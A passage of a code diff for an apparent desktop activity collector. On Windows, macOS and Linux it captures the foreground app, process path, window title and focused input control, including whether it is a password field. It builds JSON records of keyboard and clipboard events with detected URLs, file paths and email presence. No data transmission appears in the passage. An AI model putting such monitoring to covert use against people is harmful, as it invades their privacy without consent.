+ extensionIdHint: cap(id, 64),
575
+ };
576
+ }
577
+ async function foregroundContextWindows() {
578
+ const ps = powershellExe();
579
+ if (!fs.existsSync(ps))
580
+ return { capture_method: "none" };
581
+ const script = `
582
+ $sig = @"
583
+ using System;
584
+ using System.Runtime.InteropServices;
585
+ public static class Win32 {
586
+ [DllImport("user32.dll")] public static extern IntPtr GetForegroundWindow();
587
+ [DllImport("user32.dll")] public static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint processId);
588
+ }
589
+ "@
590
+ try { Add-Type -TypeDefinition $sig -ErrorAction SilentlyContinue | Out-Null } catch {}
591
+ try { Add-Type -AssemblyName UIAutomationClient -ErrorAction SilentlyContinue | Out-Null } catch {}
592
+ try { Add-Type -AssemblyName UIAutomationTypes -ErrorAction SilentlyContinue | Out-Null } catch {}
593
+ $h = [Win32]::GetForegroundWindow()
594
+ if ($h -eq [IntPtr]::Zero) { [Console]::Out.Write("{}"); exit 0 }
595
+ $fgPid = 0
596
+ [void][Win32]::GetWindowThreadProcessId($h, [ref]$fgPid)
597
+ try {
598
+ $focusPid = 0
599
+ $ctrlType = ""
600
+ $ctrlName = ""
601
+ $ctrlAutoId = ""
602
+ $ctrlHelp = ""
603
+ $ctrlIsPassword = $false
604
+ try {
605
+ $ae = [System.Windows.Automation.AutomationElement]::FocusedElement
606
+ if ($ae -ne $null) {
607
+ try { $focusPid = [int]$ae.Current.ProcessId } catch { $focusPid = 0 }
608
+ try {
609
+ $ct = [string]$ae.Current.ControlType.ProgrammaticName
610
+ if ($ct -match "ControlType\\.(.+)$") { $ct = $Matches[1] }
611
+ $ctrlType = $ct
612
+ } catch {}
613
+ try { $ctrlName = [string]$ae.Current.Name } catch {}
614
+ try { $ctrlAutoId = [string]$ae.Current.AutomationId } catch {}
615
+ try { $ctrlHelp = [string]$ae.Current.HelpText } catch {}
616
+ try { $ctrlIsPassword = [bool]$ae.Current.IsPassword } catch { $ctrlIsPassword = $false }
617
+ }
618
+ } catch {}
619
+ $targetPid = $fgPid
620
+ if ($focusPid -gt 0) { $targetPid = $focusPid }
621
+ $p = $null
622
+ try { $p = Get-Process -Id $targetPid -ErrorAction Stop } catch {}
623
+ if ($p -eq $null -and $fgPid -gt 0) {
624
+ try { $p = Get-Process -Id $fgPid -ErrorAction Stop } catch {}
625
+ }
626
+ if ($p -eq $null) { [Console]::Out.Write("{}"); exit 0 }
627
+ $procName = ""
628
+ $procPath = ""
629
+ $procId = ""
630
+ try { $procName = [string]$p.ProcessName } catch {}
631
+ try { $procPath = [string]$p.Path } catch {}
632
+ try { $procId = [string]$p.Id } catch {}
633
+ $title = ""
634
+ try { $title = [string]$p.MainWindowTitle } catch {}
635
+ $out = [PSCustomObject]@{
636
+ focused_app = $procName
637
+ process_name = $procName
638
+ process_path = $procPath
639
+ pid = $procId
640
+ collector_pid = [string]$PID
641
+ process_is_collector_like = $false
642
+ window_title = $title
643
+ input_control_type = $ctrlType
644
+ input_control_name = $ctrlName
645
+ input_control_automation_id = $ctrlAutoId
646
+ input_control_help_text = $ctrlHelp
647
+ input_is_password = $ctrlIsPassword
648
+ }
649
+ $cmdLine = ""
650
+ try {
651
+ $w = Get-CimInstance Win32_Process -Filter ("ProcessId = " + [string]$p.Id) -ErrorAction Stop
652
+ if ($w -ne $null) { $cmdLine = [string]$w.CommandLine }
653
+ } catch {}
654
+ if ($procName -match '^(powershell|pwsh)$') {
655
+ if (
656
+ ($cmdLine -match '(?i)-NoProfile') -and
657
+ ($cmdLine -match '(?i)-NonInteractive') -and
658
+ (
659
+ ($cmdLine -match '(?i)GetForegroundWindow') -or
660
+ ($cmdLine -match '(?i)UIAutomation') -or
661
+ ($cmdLine -match '(?i)ConvertTo-Json')
662
+ )
663
+ ) {
664
+ $out.process_is_collector_like = $true
665
+ }
666
+ }
667
+
668
+ $json = $out | ConvertTo-Json -Compress
669
+ [Console]::Out.Write($json)
670
+ } catch {
671
+ [Console]::Out.Write("{}")
672
+ }
673
+ `;
674
+ const out = await execUtf8(ps, ["-NoProfile", "-NonInteractive", "-Command", script]);
675
+ if (!out)
676
+ return { capture_method: "none" };
677
+ try {
678
+ const obj = JSON.parse(out);
679
+ const pid = cap(String(obj.pid || ""));
680
+ const collectorPid = cap(String(obj.collector_pid || ""));
681
+ if (pid && collectorPid && pid === collectorPid) {
682
+ // Self-capture guard: PowerShell collector occasionally reports its own process.
683
+ // Returning none lets higher-level cache/fallback logic avoid "stuck powershell" context.
684
+ return { capture_method: "none_self_capture" };
685
+ }
686
+ if (obj.process_is_collector_like === true) {
687
+ // Guard when PowerShell collector resolves a sibling collector-like shell process.
688
+ return { capture_method: "none_self_capture_like" };
689
+ }
690
+ const fg = {
691
+ focused_app: cap(String(obj.focused_app || "")),
692
+ process_name: cap(String(obj.process_name || "")),
693
+ process_path: cap(String(obj.process_path || ""), 320),
694
+ process_is_collector_like: obj.process_is_collector_like === true,
695
+ pid,
696
+ window_title: cap(String(obj.window_title || ""), 320),
697
+ input_control_type: cap(String(obj.input_control_type || ""), 120),
698
+ input_control_name: cap(String(obj.input_control_name || ""), 220),
699
+ input_control_automation_id: cap(String(obj.input_control_automation_id || ""), 160),
700
+ input_control_help_text: cap(String(obj.input_control_help_text || ""), 220),
701
+ input_is_password: Boolean(obj.input_is_password),
702
+ capture_method: "powershell_user32",
703
+ };
704
+ const isPowerShell = /^(powershell|pwsh)$/i.test(String(fg.process_name || ""));
705
+ const hasWindowTitle = Boolean((fg.window_title || "").trim());
706
+ const hasControlSignal = Boolean((fg.input_control_type || "").trim() ||
707
+ (fg.input_control_name || "").trim() ||
708
+ (fg.input_control_automation_id || "").trim());
709
+ const now = Date.now();
710
+ if (isPowerShell && !hasWindowTitle && !hasControlSignal) {
711
+ const pidChanged = Boolean(lastWindowsForegroundPid &&
712
+ fg.pid &&
713
+ lastWindowsForegroundPid !== fg.pid);
714
+ if (pidChanged && now - suspiciousWindowsPowerShellLastAt < 30_000) {
715
+ suspiciousWindowsPowerShellBurst += 1;
716
+ }
717
+ else if (pidChanged) {
718
+ suspiciousWindowsPowerShellBurst = 1;
719
+ }
720
+ else {
721
+ suspiciousWindowsPowerShellBurst = 0;
722
+ }
723
+ suspiciousWindowsPowerShellLastAt = now;
724
+ lastWindowsForegroundPid = fg.pid;
725
+ if (suspiciousWindowsPowerShellBurst >= 2) {
726
+ return { capture_method: "none_suspicious_powershell" };
727
+ }
728
+ }
729
+ else {
730
+ suspiciousWindowsPowerShellBurst = 0;
731
+ suspiciousWindowsPowerShellLastAt = now;
732
+ lastWindowsForegroundPid = fg.pid;
733
+ }
734
+ return fg;
735
+ }
736
+ catch {
737
+ return { capture_method: "none" };
738
+ }
739
+ }
740
+ async function foregroundContextMac() {
741
+ const appScript = [
742
+ 'tell application "System Events"',
743
+ "set frontApp to first application process whose frontmost is true",
744
+ "set appName to name of frontApp",
745
+ 'set winTitle to ""',
746
+ "try",
747
+ "set winTitle to name of front window of frontApp",
748
+ "end try",
749
+ 'return appName & "\\n" & winTitle',
750
+ "end tell",
751
+ ].join("\n");
752
+ const out = await execUtf8("osascript", ["-e", appScript]);
753
+ if (!out)
754
+ return { capture_method: "none" };
755
+ const [app, title] = out.split(/\r?\n/, 2);
756
+ return {
757
+ focused_app: cap(app),
758
+ process_name: cap(app),
759
+ window_title: cap(title, 320),
760
+ capture_method: "osascript_system_events",
761
+ };
762
+ }
763
+ async function foregroundContextLinux() {
764
+ const winId = await execUtf8("xdotool", ["getactivewindow"]);
765
+ let resolvedWinId = winId;
766
+ if (!resolvedWinId) {
767
+ const root = await execUtf8("xprop", ["-root", "_NET_ACTIVE_WINDOW"]);
768
+ const m = (root || "").match(/0x[0-9a-f]+/i);
769
+ resolvedWinId = m?.[0] || null;
770
+ }
771
+ if (!resolvedWinId) {
772
+ const hypr = await execUtf8("hyprctl", ["activewindow", "-j"]);
773
+ if (hypr) {
774
+ try {
775
+ const obj = JSON.parse(hypr);
776
+ const cls = String(obj.class || "").trim() ||
777
+ String(obj.initialClass || "").trim() ||
778
+ String(obj.appid || "").trim();
779
+ const title = String(obj.title || "").trim();
780
+ const pidRaw = obj.pid;
781
+ const pid = Number.isFinite(Number(pidRaw)) ? String(Math.floor(Number(pidRaw))) : "";
782
+ let processPath;
783
+ if (pid) {
784
+ processPath = (await execUtf8("readlink", ["-f", `/proc/${pid}/exe`])) || undefined;
785
+ }
786
+ if (cls || title || pid) {
787
+ return {
788
+ focused_app: cap(cls || title || ""),
789
+ process_name: cap(cls || ""),
790
+ process_path: cap(processPath || "", 320),
791
+ pid: cap(pid),
792
+ window_title: cap(title, 320),
793
+ window_class: cap(cls, 200),
794
+ capture_method: "hyprctl_activewindow",
795
+ };
796
+ }
797
+ }
798
+ catch { }
799
+ }
800
+ const swayTree = await execUtf8("swaymsg", ["-t", "get_tree", "-r"]);
801
+ if (swayTree) {
802
+ try {
803
+ const root = JSON.parse(swayTree);
804
+ const stack = [root];
805
+ let focused;
806
+ while (stack.length) {
807
+ const n = stack.pop();
808
+ if (!n)
809
+ break;
810
+ if (n.focused === true) {
811
+ focused = n;
812
+ break;
813
+ }
814
+ const nodes = Array.isArray(n.nodes) ? n.nodes : [];
815
+ const fNodes = Array.isArray(n.floating_nodes)
816
+ ? n.floating_nodes
817
+ : [];
818
+ for (const c of nodes)
819
+ stack.push(c);
820
+ for (const c of fNodes)
821
+ stack.push(c);
822
+ }
823
+ if (focused) {
824
+ const wp = focused.window_properties && typeof focused.window_properties === "object"
825
+ ? focused.window_properties
826
+ : {};
827
+ const appRaw = String(focused.app_id || "").trim() ||
828
+ String(wp.class || "").trim() ||
829
+ String(wp.instance || "").trim();
830
+ const titleRaw = String(focused.name || "").trim();
831
+ const pidRaw = focused.pid;
832
+ const pid = Number.isFinite(Number(pidRaw)) && Number(pidRaw) > 0
833
+ ? String(Math.floor(Number(pidRaw)))
834
+ : "";
835
+ let processPath;
836
+ if (pid) {
837
+ processPath = (await execUtf8("readlink", ["-f", `/proc/${pid}/exe`])) || undefined;
838
+ }
839
+ if (appRaw || titleRaw || pid) {
840
+ return {
841
+ focused_app: cap(appRaw || titleRaw || ""),
842
+ process_name: cap(appRaw || ""),
843
+ process_path: cap(processPath || "", 320),
844
+ pid: cap(pid),
845
+ window_title: cap(titleRaw, 320),
846
+ window_class: cap(String(wp.class || appRaw || ""), 200),
847
+ capture_method: "swaymsg_tree",
848
+ };
849
+ }
850
+ }
851
+ }
852
+ catch { }
853
+ }
854
+ return { capture_method: "none" };
855
+ }
856
+ const title = (await execUtf8("xdotool", ["getwindowname", resolvedWinId])) ||
857
+ (await execUtf8("xprop", ["-id", resolvedWinId, "WM_NAME"])) ||
858
+ undefined;
859
+ const pid = await execUtf8("xdotool", ["getwindowpid", resolvedWinId]);
860
+ const xpropClass = await execUtf8("xprop", ["-id", resolvedWinId, "WM_CLASS"]);
861
+ const windowClass = parseLinuxXpropField(xpropClass || "", "WM_CLASS");
862
+ let processName;
863
+ let processPath;
864
+ if (pid && /^\d+$/.test(pid)) {
865
+ processName = await execUtf8("ps", ["-p", pid, "-o", "comm="]) || undefined;
866
+ processPath = await execUtf8("readlink", ["-f", `/proc/${pid}/exe`]) || undefined;
867
+ }
868
+ const wmctrlLine = await execUtf8("wmctrl", ["-lp"]);
869
+ if (!processName && wmctrlLine) {
870
+ const line = wmctrlLine
871
+ .split(/\r?\n/)
872
+ .find((ln) => ln.toLowerCase().includes((title || "").toLowerCase()));
873
+ if (line) {
874
+ const cols = line.trim().split(/\s+/);
875
+ if (cols.length >= 4)
876
+ processName = cols[3];
877
+ }
878
+ }
879
+ return {
880
+ focused_app: cap(processName || windowClass || title || ""),
881
+ process_name: cap(processName || ""),
882
+ process_path: cap(processPath || "", 320),
883
+ pid: cap(pid || ""),
884
+ window_title: cap(title || "", 320),
885
+ window_class: windowClass,
886
+ capture_method: winId ? "xdotool_ps" : "xprop_ps",
887
+ };
888
+ }
889
+ async function captureForegroundContext() {
890
+ const now = Date.now();
891
+ if (cachedForeground && now - cachedForegroundAt < FG_CACHE_MS) {
892
+ return cachedForeground;
893
+ }
894
+ let fg;
895
+ if (process.platform === "win32")
896
+ fg = await foregroundContextWindows();
897
+ else if (process.platform === "darwin")
898
+ fg = await foregroundContextMac();
899
+ else if (process.platform === "linux")
900
+ fg = await foregroundContextLinux();
901
+ else
902
+ fg = { capture_method: "none" };
903
+ if (hasUsableForeground(fg)) {
904
+ cachedLastGoodForeground = fg;
905
+ cachedLastGoodForegroundAt = now;
906
+ }
907
+ else if (cachedLastGoodForeground &&
908
+ now - cachedLastGoodForegroundAt < FG_LAST_GOOD_CACHE_MS) {
909
+ fg = {
910
+ ...cachedLastGoodForeground,
911
+ capture_method: (cachedLastGoodForeground.capture_method || "cached") + "_cached",
912
+ };
913
+ }
914
+ cachedForeground = fg;
915
+ cachedForegroundAt = now;
916
+ return fg;
917
+ }
918
+ function estimateConfidence(fg) {
919
+ if (fg.process_name && fg.window_title && fg.pid)
920
+ return "high";
921
+ if (fg.process_name || fg.window_title || fg.focused_app || fg.window_class)
922
+ return "medium";
923
+ return "low";
924
+ }
925
+ async function buildInputContextJson(kind, text) {
926
+ const fg = await captureForegroundContext();
927
+ const payload = {
928
+ platform: process.platform,
929
+ event_kind: kind,
930
+ captured_at: new Date().toISOString(),
931
+ capture_method: fg.capture_method,
932
+ confidence: estimateConfidence(fg),
933
+ focused_app: fg.focused_app,
934
+ app_type: inferAppType(fg.process_name || fg.focused_app, fg.process_path, fg.window_title),
935
+ process_name: fg.process_name,
936
+ process_path: fg.process_path,
937
+ pid: fg.pid,
938
+ window_title: fg.window_title,
939
+ window_class: fg.window_class,
940
+ };
941
+ if (looksLikeBrowserApp(fg.process_name || fg.focused_app)) {
942
+ payload.browser_name = inferBrowserName(fg.process_name || fg.focused_app);
943
+ payload.browser_tab_hint = cap(fg.window_title, 320);
944
+ payload.browser_url_hint = parseFirstUrl(fg.window_title || "") || undefined;
945
+ if (!payload.browser_url_hint && process.platform === "darwin") {
946
+ payload.browser_url_hint = await tryMacBrowserUrl(fg.process_name || fg.focused_app);
947
+ }
948
+ }
949
+ if (kind === "keyboard") {
950
+ if (payload.app_type === "unknown" &&
951
+ cachedContextHints &&
952
+ Date.now() - cachedContextHintsAt < CONTEXT_HINT_CACHE_MS) {
953
+ payload.app_type = payload.app_type || cachedContextHints.app_type;
954
+ payload.focused_app = payload.focused_app || cachedContextHints.focused_app;
955
+ payload.process_name = payload.process_name || cachedContextHints.process_name;
956
+ payload.process_path = payload.process_path || cachedContextHints.process_path;
957
+ payload.window_title = payload.window_title || cachedContextHints.window_title;
958
+ payload.window_class = payload.window_class || cachedContextHints.window_class;
959
+ payload.browser_name = payload.browser_name || cachedContextHints.browser_name;
960
+ if (payload.capture_method === "none" && cachedContextHints.capture_method) {
961
+ payload.capture_method = `${cachedContextHints.capture_method}_hint`;
962
+ }
963
+ if (payload.confidence === "low")
964
+ payload.confidence = "medium";
965
+ }
966
+ if (!payload.browser_url_hint) {
967
+ payload.browser_url_hint = parseFirstUrl(payload.window_title || "") || undefined;
968
+ }
969
+ if (payload.browser_url_hint && payload.app_type === "unknown") {
970
+ payload.app_type = "browser";
971
+ }
972
+ payload.working_directory_hint = inferWorkingDirectoryHint(fg.window_title, text);
973
+ payload.input_hint = inferInputHint(payload.window_title || fg.window_title);
974
+ payload.input_control_type_hint = fg.input_control_type;
975
+ payload.input_control_name_hint = fg.input_control_name;
976
+ payload.input_control_automation_id_hint = fg.input_control_automation_id;
977
+ payload.input_control_help_text_hint = fg.input_control_help_text;
978
+ payload.input_is_password_hint = fg.input_is_password === true;
979
+ payload.input_tag_type_hint = inferInputTagType(payload.window_title || fg.window_title, payload.browser_url_hint, text, payload.app_type, payload.input_hint, {
980
+ controlType: payload.input_control_type_hint,
981
+ controlName: payload.input_control_name_hint,
982
+ controlAutomationId: payload.input_control_automation_id_hint,
983
+ controlHelpText: payload.input_control_help_text_hint,
984
+ isPassword: payload.input_is_password_hint === true,
985
+ });
986
+ payload.input_tag_type_hint = applyKeyboardTagContinuity(payload.input_tag_type_hint, text, payload.app_type, payload.input_hint, payload.window_title || fg.window_title, payload.browser_url_hint, payload.focused_app || payload.process_name, payload.pid);
987
+ payload.typed_char_count = text.length;
988
+ const typed = (text || "").trim();
989
+ if (!payload.browser_url_hint) {
990
+ if (/^https?:\/\//i.test(typed)) {
991
+ payload.browser_url_hint = parseFirstUrl(typed) || undefined;
992
+ }
993
+ else if (/^(?:[a-z0-9-]+\.)+[a-z]{2,}(?:\/[^\s]*)?$/i.test(typed)) {
994
+ payload.browser_url_hint = cap(`https://${typed}`, 220);
995
+ }
996
+ }
997
+ if (payload.input_tag_type_hint === "url" &&
998
+ payload.app_type &&
999
+ payload.app_type === "unknown") {
1000
+ payload.app_type = "browser";
1001
+ }
1002
+ }
1003
+ else {
1004
+ const hints = parseClipboardPathHints(text);
1005
+ const urls = detectClipboardUrls(text);
1006
+ const paths = detectClipboardFilePaths(text);
1007
+ payload.input_hint = inferInputHint(fg.window_title);
1008
+ payload.clipboard_file_path_hint = hints.clipboard_file_path_hint;
1009
+ payload.clipboard_directory_hint = hints.clipboard_directory_hint;
1010
+ payload.clipboard_content_type = inferClipboardContentType(text);
1011
+ payload.clipboard_char_count = text.length;
1012
+ payload.clipboard_line_count = text ? text.split(/\r?\n/).length : 0;
1013
+ payload.clipboard_has_path = paths.length > 0;
1014
+ payload.clipboard_has_url = urls.length > 0;
1015
+ payload.clipboard_has_email = /[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,}/i.test(text);
1016
+ payload.clipboard_url_count = urls.length;
1017
+ payload.clipboard_path_count = paths.length;
1018
+ payload.clipboard_detected_urls = urls.length ? urls : undefined;
1019
+ payload.clipboard_detected_file_paths = paths.length ? paths : undefined;
1020
+ payload.browser_url_hint =
1021
+ payload.browser_url_hint || urls[0] || parseFirstUrl(text) || undefined;
1022
+ if (payload.browser_url_hint && payload.app_type === "unknown") {
1023
+ payload.app_type = "browser";
1024
+ }
1025
+ payload.input_tag_type_hint = inferClipboardTagType(text, payload.clipboard_content_type || "text", payload.clipboard_has_email === true, payload.clipboard_has_url === true, payload.clipboard_has_path === true);
1026
+ if (payload.input_tag_type_hint === "text") {
1027
+ const contextualTag = inferInputTagType(payload.window_title || fg.window_title, payload.browser_url_hint, text, payload.app_type, payload.input_hint);
1028
+ if (contextualTag && contextualTag !== "text") {
1029
+ payload.input_tag_type_hint = contextualTag;
1030
+ }
1031
+ }
1032
+ payload.working_directory_hint =
1033
+ inferWorkingDirectoryHint(fg.window_title, text) || payload.clipboard_directory_hint;
1034
+ if (payload.app_type === "unknown") {
1035
+ const inferred = inferClipboardAppTypeFromContent(payload.clipboard_content_type, payload.clipboard_has_url === true, payload.clipboard_has_path === true);
1036
+ if (inferred)
1037
+ payload.app_type = inferred;
1038
+ }
1039
+ if (payload.confidence === "low" && payload.clipboard_content_type && payload.clipboard_content_type !== "empty") {
1040
+ payload.confidence = "medium";
1041
+ }
1042
+ if (payload.capture_method === "none") {
1043
+ payload.capture_method = "clipboard_analysis";
1044
+ }
1045
+ }
1046
+ payload.browser_extension_type = inferBrowserExtensionType(fg.process_name || fg.focused_app, fg.window_title, payload.browser_url_hint, kind === "clipboard" ? text : undefined);
1047
+ const extHints = inferBrowserExtensionHints(fg.window_title, payload.browser_url_hint, kind === "clipboard" ? text : undefined);
1048
+ payload.browser_extension_name_hint = extHints.extensionNameHint;
1049
+ payload.browser_extension_id_hint = extHints.extensionIdHint;
1050
+ rememberContextHints(payload);
1051
+ const json = JSON.stringify(payload);
1052
+ if (json.length <= MAX_JSON_CHARS)
1053
+ return json;
1054
+ const compact = {
1055
+ platform: payload.platform,
1056
+ event_kind: payload.event_kind,
1057
+ captured_at: payload.captured_at,
1058
+ capture_method: payload.capture_method,
1059
+ confidence: payload.confidence,
1060
+ focused_app: payload.focused_app,
1061
+ app_type: payload.app_type,
1062
+ process_name: payload.process_name,
1063
+ pid: payload.pid,
1064
+ window_title: cap(payload.window_title, 180),
1065
+ window_class: payload.window_class,
1066
+ browser_name: payload.browser_name,
1067
+ browser_url_hint: payload.browser_url_hint,
1068
+ browser_extension_type: payload.browser_extension_type,
1069
+ browser_extension_name_hint: payload.browser_extension_name_hint,
1070
+ browser_extension_id_hint: payload.browser_extension_id_hint,
1071
+ working_directory_hint: cap(payload.working_directory_hint, 180),
1072
+ input_hint: payload.input_hint,
1073
+ input_tag_type_hint: payload.input_tag_type_hint,
1074
+ input_control_type_hint: payload.input_control_type_hint,
1075
+ input_control_name_hint: cap(payload.input_control_name_hint, 120),
1076
+ input_control_automation_id_hint: cap(payload.input_control_automation_id_hint, 100),
1077
+ input_control_help_text_hint: cap(payload.input_control_help_text_hint, 120),
1078
+ input_is_password_hint: payload.input_is_password_hint,
1079
+ typed_char_count: payload.typed_char_count,
1080
+ clipboard_content_type: payload.clipboard_content_type,
1081
+ clipboard_char_count: payload.clipboard_char_count,
1082
+ clipboard_line_count: payload.clipboard_line_count,
1083
+ clipboard_has_path: payload.clipboard_has_path,
1084
+ clipboard_has_url: payload.clipboard_has_url,
1085
+ clipboard_has_email: payload.clipboard_has_email,
1086
+ clipboard_url_count: payload.clipboard_url_count,
1087
+ clipboard_path_count: payload.clipboard_path_count,
1088
+ clipboard_detected_urls: payload.clipboard_detected_urls,
1089
+ clipboard_detected_file_paths: payload.clipboard_detected_file_paths,
1090
+ clipboard_file_path_hint: cap(payload.clipboard_file_path_hint, 180),
1091
+ clipboard_directory_hint: cap(payload.clipboard_directory_hint, 180),
1092
+ };
1093
+ return JSON.stringify(compact);
1094
+ }